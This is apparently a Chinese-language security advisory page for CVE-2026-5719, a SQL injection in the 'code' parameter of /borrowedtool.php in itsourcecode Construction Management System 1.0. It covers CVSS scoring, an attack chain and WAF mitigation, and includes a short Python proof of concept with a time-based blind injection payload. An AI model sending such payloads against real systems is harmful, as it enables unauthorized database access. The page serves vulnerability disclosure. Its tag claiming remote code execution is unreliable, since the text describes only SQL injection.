IPBUF安全漏洞报告
English
CVE-2026-5719 CVSS 6.3 中危

CVE-2026-5719: 建筑管理系统SQL注入漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-5719
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
itsourcecode Construction Management System

相关标签

SQL注入itsourcecodeCVE-2026-5719Web安全远程代码执行

漏洞概述

itsourcecode Construction Management System 1.0版本被发现存在严重的安全设计缺陷。该漏洞具体存在于/borrowedtool.php文件的处理逻辑中,由于程序未对传入的'code'参数进行严格的过滤和转义,直接将其拼接到数据库查询语句,从而引发了SQL注入漏洞。攻击者可以利用该漏洞进行远程攻击,且无需用户交互,仅需低权限账户即可实施。

技术细节

该漏洞的根本原因在于itsourcecode Construction Management System 1.0在/borrowedtool.php文件的开发过程中,违反了安全编码规范。系统在接收HTTP请求参数'code'时,缺乏有效的输入验证机制和参数化查询保护,导致攻击者能够通过该参数注入恶意的SQL语法。攻击向量为网络(AV:N),攻击复杂度低(AC:L),意味着利用门槛极低。攻击者可以通过发送特制的HTTP请求,利用Union查询、报错注入或布尔盲注等技术,绕过应用层的逻辑检查,进而操纵后端数据库。由于权限要求为低(PR:L),普通注册用户即可利用此漏洞。成功的利用可能导致敏感信息(如用户凭证、管理数据)的泄露(C:L),数据的非法篡改(I:L),以及通过消耗数据库资源导致服务拒绝(A:L)。

攻击链分析

STEP 1
侦察
攻击者识别目标系统运行 itsourcecode Construction Management System 1.0。
STEP 2
探测
定位到 /borrowedtool.php 接口,并确定参数 'code' 存在输入点。
STEP 3
利用
发送包含恶意 SQL 代码的 'code' 参数,尝试注入数据库查询。
STEP 4
执行
后端数据库解析并执行注入的 SQL 语句,返回敏感数据或执行操作。
STEP 5
达成目标
获取数据库中的敏感信息、篡改数据或破坏系统可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://target-ip/borrowedtool.php" # Malicious payload to test SQL injection # Using a simple time-based blind injection payload payload = { "code": "1' AND SLEEP(5)-- -" } try: # Sending the GET request response = requests.get(target_url, params=payload) # Check response time to confirm vulnerability if response.elapsed.total_seconds() > 5: print("[+] Vulnerability confirmed: SQL Injection detected via time delay.") else: print("[-] Vulnerability not detected or payload incorrect.") except Exception as e: print(f"Error connecting to target: {e}")

影响范围

itsourcecode Construction Management System 1.0

防御指南

临时缓解措施
在应用防火墙(WAF)中添加针对 /borrowedtool.php 接口的 SQL 注入防护规则,暂时限制对该接口的外部访问,或严格限制访问来源IP,直到完成代码修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表